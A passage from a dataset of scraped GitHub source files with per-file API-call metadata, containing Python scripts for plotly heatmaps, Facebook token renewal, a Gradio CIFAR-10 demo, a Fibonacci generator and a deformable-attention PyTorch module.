239, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 248, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 255, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 275, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 279, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 280, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 287, "usage_type": "call"}, {"api_name": "tempfile.name", "line_number": 287, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 292, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 301, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 312, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 318, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 318, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 319, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 319, "usage_type": "name"}, {"api_name": "email.message.EmailMessage", "line_number": 337, "usage_type": "call"}, {"api_name": "ssl.create_default_context", "line_number": 342, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 343, "usage_type": "call"}]}
{"seq_id": "2851041496", "text": "import sys\nimport plotly.offline as py\nimport plotly.graph_objs as go\nimport plotly.figure_factory as ff\nimport pandas as pd\nimport os\n\nimport numpy as np\n\nclass DataWrapper:\n    def __init__(self, data_file):\n        self.df = self.fetch_data(data_file)\n        self.compounds = self.get_compounds()\n        self.sample_matrix = abs(self.get_sample_matrix())\n\n    def get_compounds_list(self):\n        '''returns the compounds attribute contents as a list'''\n        return self.compounds.tolist()\n\n    def get_sample_names(self):\n        '''returns the sample names as a list'''\n        columns = self.df.columns.tolist()\n        return columns[6:]\n\n    def get_sample_lists(self):\n        '''returns the samples as a list of lists'''\n        return self.sample_matrix.values.tolist()\n\n    def fetch_data(self, f):\n        df = pd.read_csv(f, sep='\\t|,', lineterminator='\\n', header=0, error_bad_lines=False, engine='python')\n        return df\n\n    def get_compounds(self):\n        '''returns the compounds that are listed in the data file'''\n        return self.df['compound']\n\n    def get_sample_matrix(self):\n        sample = self.df.ix[:,6:]\n        sample = (sample - sample.mean()) / (sample.max() - sample.min())\n        return sample\n\nclass GraphUtil:\n    def __init__(self):\n        self.num_compounds = None\n        self.row_height = 40\n        self.num_samples = None\n        self.layout = None\n        self.data = None\n\n    def generate_heatmap_trace(self, compounds, sample_names, sample_matrix):\n        self.num_compounds = len(compounds.values.tolist())\n        self.num_samples = len(sample_names)\n\n        self.data = [go.Heatmap(z=sample_matrix.values.tolist(),\n                                x=sample_names,\n                            y=compounds.values.tolist(),\n                            colorscale='Viridis',\n                            )\n                    ]\n\n        self.layout = go.Layout(\n            title='Sample Heatmap Comparisons',\n            autosize=True,\n            xaxis=dict(type='category', categoryarray=sample_names, categoryorder='array', showgrid=True),\n            yaxis=dict(type='category', categoryorder='index', categoryarray=compounds.values.tolist(), dtick=1),\n\n            shapes=self.draw_heatmap_shapes(),\n\n            height=self.num_compounds * self.row_height,\n        )\n\n    def generate_annotated_heatmap_trace(self, compounds, sample_names, sample_matrix):\n        self.num_compounds = len(compounds.values.tolist())\n        self.num_samples = len(sample_names)\n\n        z = sample_matrix.values.tolist()\n        x = sample_names\n        y = compounds.values.tolist()\n        z2 = []\n        for s in z:\n            items=[]\n            for item in s:\n                if item > 0:\n                    items.append(1)\n                elif item < 0:\n                    items.append(-1)\n                else:\n                    items.append(0)\n            z2.append(items)\n        self.data = [go.Heatmap(z=z2,\n                                x=x,\n                                y=y,\n                                colorscale='RdBu',\n                                text=z,\n                                hoverinfo='x+y+text',\n                                reversescale=True\n                            )\n                    ]\n\n        self.layout = go.Layout(\n            title='Sample Production/Consumption Comparisons',\n            autosize=True,\n            xaxis=dict(type='category', categoryarray=sample_names, categoryorder='array', showgrid=True),\n            yaxis=dict(type='category', categoryorder='index', categoryarray=compounds.values.tolist(), dtick=1),\n            shapes=self.draw_heatmap_shapes(),\n\n            height=self.num_compounds * self.row_height,\n        )\n\n    def generate_3dsurface_trace(self, compounds, sample_names, sample_matrix):\n        self.num_compounds = len(compounds.values.tolist())\n        self.num_samples = len(sample_names)\n\n        min_mz = self.min_value(sample_matrix)\n        max_mz = self.max_value(sample_matrix)\n\n        self.data = [\n            go.Surface(\n                z=sample_matrix.values.tolist(),\n                x=sample_names,\n                y=compounds.values.tolist(),\n                colorscale='Viridis',\n            )\n        ]\n\n        self.layout = go.Layout(\n            scene=dict(\n                xaxis=dict(type='category', categoryarray=sample_names, categoryorder='array', dtick=1, title='Sample'),\n                yaxis=dict(type='category', categoryorder='index', categoryarray=compounds.values.tolist(), dtick=4, title='Compound ({})'.format(self.num_compounds)),\n                zaxis=dict(title='MZ')\n            ),\n            margin=dict(\n            r=20, l=10,\n            b=10, t=10\n            ),\n        )\n\n\n    @staticmethod\n    def max_value(inputlist):\n        return max([sublist[-1] for sublist in inputlist])\n\n    @staticmethod\n    def min_value(inputlist):\n        return min([sublist[-1] for sublist in inputlist])\n\n    def generate_graph(self, filename):\n        fig = go.Figure(data=self.data, layout=self.layout)\n        py.plot(fig, filename=filename)\n\n    def draw_heatmap_shapes(self):\n        shapes_v = [self.make_vertical_line(x) for x in range(0, self.num_samples+1)[::2]]\n        seps_v = [self.make_seperator_line(x) for x in range(1, self.num_samples)[::2]]\n        shapes_h = [self.make_horizontal_line(y) for y in range(0, self.num_compounds+1)]\n        shapes_v.extend(shapes_h)\n        shapes_v.extend(seps_v)\n        return shapes_v\n\n    def make_vertical_line(self, x):\n        return dict({'type': 'line',\n              'x0': x-0.5,\n              'y0': -0.5,\n              'x1': x-0.5,\n              'y1': self.num_compounds-0.5,\n              'line': {\n                'color': 'black',\n                'width': 2,\n            }})\n\n    def make_seperator_line(self, x):\n        return dict({'type': 'line',\n              'x0': x-0.5,\n              'y0': -0.5,\n              'x1': x-0.5,\n              'y1': self.num_compounds-0.5,\n              'line': {\n                'color': 'dark grey',\n                'width': 2,\n                'dash': 'dashdot'\n            }})\n\n    def make_horizontal_line(self, y):\n        return dict({\n            'type': 'line',\n            'x0': -0.5,\n            'y0': y-0.5,\n            'x1': self.num_samples-0.5,\n            'y1': y-0.5,\n            'line': {\n                'color': 'black',\n                'width': 2,\n            },\n        })\n\n    def generate_scatter_plot(self, compounds, sample_names, sample_matrix):\n\n        self.data = []\n        index = 0\n        for sample in sample_matrix.T.values.tolist():\n            name = sample_names[index]\n            for value in sample:\n                self.data.append(\n                    go.Scatter(x=compounds.values.tolist(),\n                               y=value,\n                               mode='markers+lines',\n                               opacity=0.7,\n                               marker=dict(\n                                   size=15,\n                                   line=dict(width=0.5, color='white')\n                               ),\n                               name=name,\n                               )\n                )\n            index = index + 1\n\n        self.data = [\n            go.Scatter(x=compounds.values.tolist(),\n                       y=sample,\n                       mode='markers',\n                       opacity=0.7,\n                       marker=dict(\n                           size=15,\n                           line=dict(width=0.5, color='white')\n                       ),\n                       name=name,\n                       ) for sample, name in zip(sample_matrix.T.values.tolist(), sample_names)\n            ]\n\n        self.layout=go.Layout(\n            title='Sample Compound Intensities',\n            showlegend=True,\n            xaxis=dict(type='category', categoryarray=compounds.values.tolist(), categoryorder='array', dtick=1, title='Sample'),\n            yaxis=dict(type='range', title='MZ'),\n        )\n\ndef tbone_main(output_file, output_dir, condensed_file=None, condensed_dir=None):\n    o_dw = DataWrapper(output_file)\n\n    gu = GraphUtil()\n    gu.generate_heatmap_trace(o_dw.compounds, o_dw.get_sample_names(), o_dw.get_sample_matrix())\n    gu.generate_graph(os.path.join(output_dir, 'output_heatmap.html'))\n\n    gu.generate_scatter_plot(o_dw.compounds, o_dw.get_sample_names(), o_dw.get_sample_matrix())\n    gu.generate_graph(os.path.join(output_dir, 'output_scatterplot.html'))\n\n    gu.generate_3dsurface_trace(o_dw.compounds, o_dw.get_sample_names(), o_dw.get_sample_matrix())\n    gu.generate_graph(os.path.join(output_dir, 'output_3dsurface.html'))\n\n    if condensed_file is not None and condensed_dir is not None:\n        c_dw = DataWrapper(condensed_file)\n        gu = GraphUtil()\n\n        gu.generate_annotated_heatmap_trace(c_dw.compounds, c_dw.get_sample_names(), c_dw.get_sample_matrix())\n        gu.generate_graph(os.path.join(condensed_dir, 'condensed_heatmap.html'))\n\n        gu.generate_scatter_plot(c_dw.compounds, c_dw.get_sample_names(), c_dw.get_sample_matrix())\n        gu.generate_graph(os.path.join(condensed_dir, 'condensed_scatterplot.html'))\n\n        gu.generate_3dsurface_trace(c_dw.compounds, c_dw.get_sample_names(), c_dw.get_sample_matrix())\n        gu.generate_graph(os.path.join(condensed_dir, 'condensed_3dsurface.html'))\n\nif __name__ == '__main__':\n    if len(sys.argv) == 3:\n        tbone_main(sys.argv[1], os.path.dirname(sys.argv[1]), sys.argv[2], os.path.dirname(sys.argv[2]))\n    elif len(sys.argv) == 2:\n        tbone_main(sys.argv[1], os.path.dirname(sys.argv[1]))\n    else:\n        exit(0)\n", "repo_name": "jfizzy/ResistanceDB", "sub_path": "pablo/plotly/layout.py", "file_name": "layout.py", "file_ext": "py", "file_size_in_byte": 9694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Heatmap", "line_number": 54, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 54, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 61, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 61, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Heatmap", "line_number": 90, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 90, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 100, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 100, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Surface", "line_number": 118, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 118, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 126, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 126, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Figure", "line_number": 148, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 148, "usage_type": "name"}, {"api_name": "plotly.offline.plot", "line_number": 149, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 149, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 203, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 203, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 217, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 217, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 229, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 229, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 244, "usage_type": "call"}, {"api_name": "os.path", "line_number": 244, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path", "line_number": 257, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 263, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 264, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 265, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 266, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}]}
{"seq_id": "22217276888", "text": "'''\nCreated on 29.05.2013\n\nThis modules help increasing the expiry time of the access token and returns \na new one. \n\n:author: heinz-peterlang\n'''\nfrom __future__ import print_function\nfrom future import standard_library\nstandard_library.install_aliases()\nimport urllib.parse\n\nfrom eWRT.access.http import Retrieve\nfrom eWRT.config import (FACEBOOK_APPLICATION_ID, FACEBOOK_SECRET_KEY,\n                         FACEBOOK_ACCESS_KEY)\n\nAPI_URL = 'https://graph.facebook.com/oauth/access_token?client_id={client_id}&client_secret={client_secret}&grant_type=fb_exchange_token&fb_exchange_token={access_token}'\n\n\ndef get_new_access_token(client_id=FACEBOOK_APPLICATION_ID,\n                         client_secret=FACEBOOK_SECRET_KEY,\n                         access_token=FACEBOOK_ACCESS_KEY):\n    ''' '''\n    url = API_URL.format(client_id=client_id,\n                         client_secret=client_secret,\n                         access_token=access_token)\n\n    retrieve = Retrieve('fb')\n    x = retrieve.open(url)\n    result = x.read()\n    new_access_token = access_token\n\n    for key, param in urllib.parse.parse_qs(result).items():\n        print(key, param)\n        if key == 'access_token':\n            if isinstance(param, list):\n                param = param[0]\n\n            if param == access_token:\n                print('access token still the same')\n            else:\n                print('got new access_token %s' % param)\n                new_access_token = param\n\n    return new_access_token\n\n\nif __name__ == '__main__':\n    get_new_access_token()\n", "repo_name": "weblyzard/ewrt", "sub_path": "src/eWRT/ws/facebook/extend_access_token.py", "file_name": "extend_access_token.py", "file_ext": "py", "file_size_in_byte": 1555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "71", "api": [{"api_name": "future.standard_library.install_aliases", "line_number": 11, "usage_type": "call"}, {"api_name": "future.standard_library", "line_number": 11, "usage_type": "name"}, {"api_name": "eWRT.config.FACEBOOK_APPLICATION_ID", "line_number": 21, "usage_type": "name"}, {"api_name": "eWRT.config.FACEBOOK_SECRET_KEY", "line_number": 22, "usage_type": "name"}, {"api_name": "eWRT.config.FACEBOOK_ACCESS_KEY", "line_number": 23, "usage_type": "name"}, {"api_name": "eWRT.access.http.Retrieve", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.parse.parse.parse_qs", "line_number": 34, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 34, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "8543258979", "text": "from typing import List, Tuple\n\nimport torch\nimport hydra\nimport gradio as gr\nimport requests\nfrom omegaconf import DictConfig\n# from PIL import Image\nfrom torchvision import transforms\nfrom torch.nn import functional as F\nimport logging\nlogger = logging.getLogger(__name__)\n# from dl_pkg import utils\n\n# log = utils.get_pylogger(__name__)\n\ndef demo(cfg: DictConfig) -> Tuple[dict, dict]:\n    \"\"\"Demo function.\n    Args:\n        cfg (DictConfig): Configuration composed by Hydra.\n\n    Returns:\n        Tuple[dict, dict]: Dict with metrics and dict with all instantiated objects.\n    \"\"\"\n\n    assert cfg.demo_ckpt_path\n\n    logger.info(\"Running Demo\")\n\n    logger.info(f\"Instantiating scripted model <{cfg.demo_ckpt_path}>\")\n    model = torch.jit.load(cfg.demo_ckpt_path)\n\n    logger.info(f\"Loaded Model: {model}\")\n\n\n    def recognize_cifar_image(image,cfg):\n        transform = transforms.Compose([transforms.ToTensor(),\n            #transforms.Resize((cfg.model.net.img_size, cfg.model.net.img_size)),\n            transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5),)])\n\n        image = transform(image)\n\n        response = requests.get(\"https://gist.githubusercontent.com/u6yuvi/2b1af8e3d92ee21b14f0ed47352b1c45/raw/3e5a45a641f5db4f5ccd93097249349ceeaa19d5/cifar10labels.txt\")\n        labels = response.text.split(\"\\n\")\n        image = torch.tensor(image, dtype=torch.float).unsqueeze(0)\n        model.eval()\n        with torch.no_grad():   \n            preds = model(image)\n        prob = F.softmax(preds, dim=1)\n        #top_p, top_class = prob.topk(5, dim = 1)\n        prob = prob[0].tolist()\n        return {str(label): prob[idx] for idx, label in enumerate(labels)}\n\n\n    demo = gr.Interface(fn=recognize_cifar_image,\n             inputs=gr.Image(type=\"pil\",shape=(cfg.model.net.img_size, cfg.model.net.img_size)),\n             outputs=gr.Label(num_top_classes=10),\n             )\n\n    demo.launch(share=True,server_name = \"0.0.0.0\", server_port= 8080)\n\n@hydra.main(\n    version_base=\"1.2\", config_path=\"../configs\", config_name=\"demo_traced.yaml\"\n)\ndef main(cfg: DictConfig) -> None:\n    demo(cfg)\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "u6yuvi/dl-package", "sub_path": "dl_pkg/demo.py", "file_name": "demo.py", "file_ext": "py", "file_size_in_byte": 2146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "omegaconf.DictConfig", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.jit.load", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.jit", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 37, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 37, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 39, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 49, "usage_type": "name"}, {"api_name": "gradio.Interface", "line_number": 55, "usage_type": "call"}, {"api_name": "gradio.Image", "line_number": 56, "usage_type": "call"}, {"api_name": "gradio.Label", "line_number": 57, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 17, "usage_type": "name"}, {"api_name": "omegaconf.DictConfig", "line_number": 65, "usage_type": "name"}, {"api_name": "hydra.main", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "31060347806", "text": "import argparse\nfrom pbc.func_decorators import arguments_log\n\n\ndef fibonacci_generator(negative=False):\n    \"\"\"\n    Get fibonacci generator\n    :return:\n    \"\"\"\n    previous_value = 0\n    current_value = 1\n    yield previous_value\n    yield current_value\n    while True:\n        tmp_current_value = int(current_value)\n        if not negative:\n            current_value = current_value + previous_value\n        else:\n            current_value = previous_value - current_value\n        previous_value = tmp_current_value\n        yield current_value\n\n\n@arguments_log\ndef fibonacci_list(number):\n    \"\"\"\n    Get fibonacci list using generators\n    :param number:\n    :return:\n    \"\"\"\n    counter = int(number)\n    result = []\n    if number >= 0:\n        fg = fibonacci_generator()\n    else:\n        fg = fibonacci_generator(True)\n\n    result.append(fg.next())\n\n    while counter:\n        result.append(fg.next())\n        if counter > 0:\n            counter -= 1\n        elif counter < 0:\n            counter += 1\n\n    if number < 0:\n        result.reverse()\n    return result\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"This script print fibonacci numbers\")\n    group = parser.add_argument_group(\"Parameters\")\n    group.add_argument(\"--number\", \"-n\", action='store', help=\"A number to print\", type=int, required=True)\n    args = parser.parse_args()\n    print(fibonacci_list(args.number))\n", "repo_name": "shitikovkirill/pbc-PythonBootCamp", "sub_path": "pbc/tools/fibonacci.py", "file_name": "fibonacci.py", "file_ext": "py", "file_size_in_byte": 1419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "pbc.func_decorators.arguments_log", "line_number": 24, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "1046312264", "text": "\"\"\"\n    Paper: Vision Transformer with Deformable Attention\n    Link: https://arxiv.org/abs/2201.00520\n\"\"\"\n\nimport math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport einops\nfrom timm.models.layers import to_2tuple, trunc_normal_\n\nclass LayerNormProxy(nn.Module):\n\n    def __init__(self, dim):\n        super().__init__()\n        self.norm = nn.LayerNorm(dim)\n\n    def forward(self, x):\n        x = einops.rearrange(x, 'b c h w -> b h w c')\n        x = self.norm(x)\n        return einops.rearrange(x, 'b h w c -> b c h w')\n\nclass DAttentionBaseline(nn.Module):\n\n    def __init__(\n            self, q_size, kv_size, n_heads, n_head_channels, n_groups=3,\n            attn_drop=0., proj_drop=0., stride=1,\n            offset_range_factor=2, use_pe=True, dwc_pe=False,\n            no_off=False, fixed_pe=False, stage_idx=2\n    ):\n\n        super().__init__()\n        self.dim = n_head_channels * n_heads\n        self.dwc_pe = dwc_pe\n        self.n_head_channels = n_head_channels\n        self.scale = self.n_head_channels ** -0.5\n        self.n_heads = n_heads\n        self.q_h, self.q_w = q_size\n        self.kv_h, self.kv_w = kv_size\n        self.nc = n_head_channels * n_heads\n        self.n_groups = n_groups\n        self.n_group_channels = self.nc // self.n_groups\n        self.n_group_heads = self.n_heads // self.n_groups\n        self.use_pe = use_pe\n        self.fixed_pe = fixed_pe\n        self.no_off = no_off\n        self.offset_range_factor = offset_range_factor\n\n        ksizes = [9, 7, 5, 3]\n        kk = ksizes[stage_idx]\n\n        self.conv_offset = nn.Sequential(\n            nn.Conv2d(self.n_group_channels, self.n_group_channels, kk, stride, kk // 2, groups=self.n_group_channels),\n            LayerNormProxy(self.n_group_channels),\n            nn.GELU(),\n            nn.Conv2d(self.n_group_channels, 2, 1, 1, 0, bias=False)\n        )\n\n        self.proj_q = nn.Conv2d(\n            self.nc, self.nc,\n            kernel_size=1, stride=1, padding=0\n        )\n\n        self.proj_k = nn.Conv2d(\n            self.nc, self.nc,\n            kernel_size=1, stride=1, padding=0\n        )\n\n        self.proj_v = nn.Conv2d(\n            self.nc, self.nc,\n            kernel_size=1, stride=1, padding=0\n        )\n\n        self.proj_out = nn.Conv2d(\n            self.nc, self.nc,\n            kernel_size=1, stride=1, padding=0\n        )\n\n        self.proj_drop = nn.Dropout(proj_drop, inplace=True)\n        self.attn_drop = nn.Dropout(attn_drop, inplace=True)\n\n        if self.use_pe:\n            if self.dwc_pe:\n                self.rpe_table = nn.Conv2d(self.nc, self.nc,\n                                           kernel_size=3, stride=1, padding=1, groups=self.nc)\n            elif self.fixed_pe:\n                self.rpe_table = nn.Parameter(\n                    torch.zeros(self.n_heads, self.q_h * self.q_w, self.kv_h * self.kv_w)\n                )\n                trunc_normal_(self.rpe_table, std=0.01)\n            else:\n                self.rpe_table = nn.Parameter(\n                    torch.zeros(self.n_heads, self.kv_h * 2 - 1, self.kv_w * 2 - 1)\n                )\n                trunc_normal_(self.rpe_table, std=0.01)\n        else:\n            self.rpe_table = None\n\n    @torch.no_grad()\n    def _get_ref_points(self, H_key, W_key, B, dtype, device):\n\n        ref_y, ref_x = torch.meshgrid(\n            torch.linspace(0.5, H_key - 0.5, H_key, dtype=dtype, device=device),\n            torch.linspace(0.5, W_key - 0.5, W_key, dtype=dtype, device=device)\n        )\n        ref = torch.stack((ref_y, ref_x), -1)\n        ref[..., 1].div_(W_key).mul_(2).sub_(1)\n        ref[..., 0].div_(H_key).mul_(2).sub_(1)\n        ref = ref[None, ...].expand(B * self.n_groups, -1, -1, -1)  # B * g H W 2\n\n        return ref\n\n    def forward(self, x, H=14, W=14):\n        B, N, C = x.shape\n        x = x.permute(0, 2, 1).reshape(B, C, H, W)\n        B, C, H, W = x.size()\n        dtype, device = x.dtype, x.device\n\n        q = self.proj_q(x)\n        q_off = einops.rearrange(q, 'b (g c) h w -> (b g) c h w', g=self.n_groups, c=self.n_group_channels)\n        offset = self.conv_offset(q_off)  # B * g 2 Hg Wg\n        Hk, Wk = offset.size(2), offset.size(3)\n        n_sample = Hk * Wk\n\n        if self.offset_range_factor > 0:\n            offset_range = torch.tensor([1.0 / Hk, 1.0 / Wk], device=device).reshape(1, 2, 1, 1)\n            offset = offset.tanh().mul(offset_range).mul(self.offset_range_factor)\n\n        offset = einops.rearrange(offset, 'b p h w -> b h w p')\n        reference = self._get_ref_points(Hk, Wk, B, dtype, device)\n\n        if self.no_off:\n            offset = offset.fill(0.0)\n\n        if self.offset_range_factor >= 0:\n            pos = offset + reference\n        else:\n            pos = (offset + reference).tanh()\n\n        x_sampled = F.grid_sample(\n            input=x.reshape(B * self.n_groups, self.n_group_channels, H, W),\n            grid=pos[..., (1, 0)],  # y, x -> x, y\n            mode='bilinear', align_corners=True)  # B * g, Cg, Hg, Wg\n\n        x_sampled = x_sampled.reshape(B, C, 1, n_sample)\n\n        q = q.reshape(B * self.n_heads, self.n_head_channels, H * W)\n        k = self.proj_k(x_sampled).reshape(B * self.n_heads, self.n_head_channels, n_sample)\n        v = self.proj_v(x_sampled).reshape(B * self.n_heads, self.n_head_channels, n_sample)\n\n        attn = torch.einsum('b c m, b c n -> b m n', q, k)  # B * h, HW, Ns\n        attn = attn.mul(self.scale)\n\n        if self.use_pe:\n\n            if self.dwc_pe:\n                residual_lepe = self.rpe_table(q.reshape(B, C, H, W)).reshape(B * self.n_heads, self.n_head_channels,\n                                                                              H * W)\n            elif self.fixed_pe:\n                rpe_table = self.rpe_table\n                attn_bias = rpe_table[None, ...].expand(B, -1, -1, -1)\n                attn = attn + attn_bias.reshape(B * self.n_heads, H * W, self.n_sample)\n            else:\n                rpe_table = self.rpe_table\n                rpe_bias = rpe_table[None, ...].expand(B, -1, -1, -1)\n\n                q_grid = self._get_ref_points(H, W, B, dtype, device)\n\n                displacement = (\n                            q_grid.reshape(B * self.n_groups, H * W, 2).unsqueeze(2) - pos.reshape(B * self.n_groups,\n                                                                                                   n_sample,\n                                                                                                   2).unsqueeze(1)).mul(\n                    0.5)\n\n                attn_bias = F.grid_sample(\n                    input=rpe_bias.reshape(B * self.n_groups, self.n_group_heads, 2 * H - 1, 2 * W - 1),\n                    grid=displacement[..., (1, 0)],\n                    mode='bilinear', align_corners=True\n                )  # B * g, h_g, HW, Ns\n\n                attn_bias = attn_bias.reshape(B * self.n_heads, H * W, n_sample)\n\n                attn = attn + attn_bias\n\n        attn = F.softmax(attn, dim=2)\n        attn = self.attn_drop(attn)\n\n        out = torch.einsum('b m n, b c n -> b c m', attn, v)\n\n        if self.use_pe and self.dwc_pe:\n            out = out + residual_lepe\n        out = out.reshape(B, C, H, W)\n\n        y = self.proj_drop(self.proj_out(out))\n\n        # return y, pos.reshape(B, self.n_groups, Hk, Wk, 2), reference.reshape(B, self.n_groups, Hk, Wk, 2)\n\n        return y\n\nif __name__ == '__main__':\n    # 224 * 224 settting\n    dim = 768\n    num_heads = 12\n    H = W = 14\n    B = 64\n\n    # special\n    n_head_channels = dim // num_heads\n    n_groups = 3\n\n    model = DAttentionBaseline((H, W), (H, W), num_heads, n_head_channels)\n\n    from utils import measure_flops_params, measure_throughput_cpu, measure_throughput_gpu\n\n    x = torch.randn(1, H*W, dim)\n    measure_flops_params(model, x)\n    measure_throughput_cpu(model)\n    measure_throughput_gpu(model)\n\n", "repo_name": "HubHop/vit-attention-benchmark", "sub_path": "attentions/dat.py", "file_name": "dat.py", "file_ext": "py", "file_size_in_byte": 7860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "70", "api": [{"api_name": "torch.nn.Module", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "einops.rearrange", "line_number": 20, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 85, "usage_type": "call"}, {"api_name": 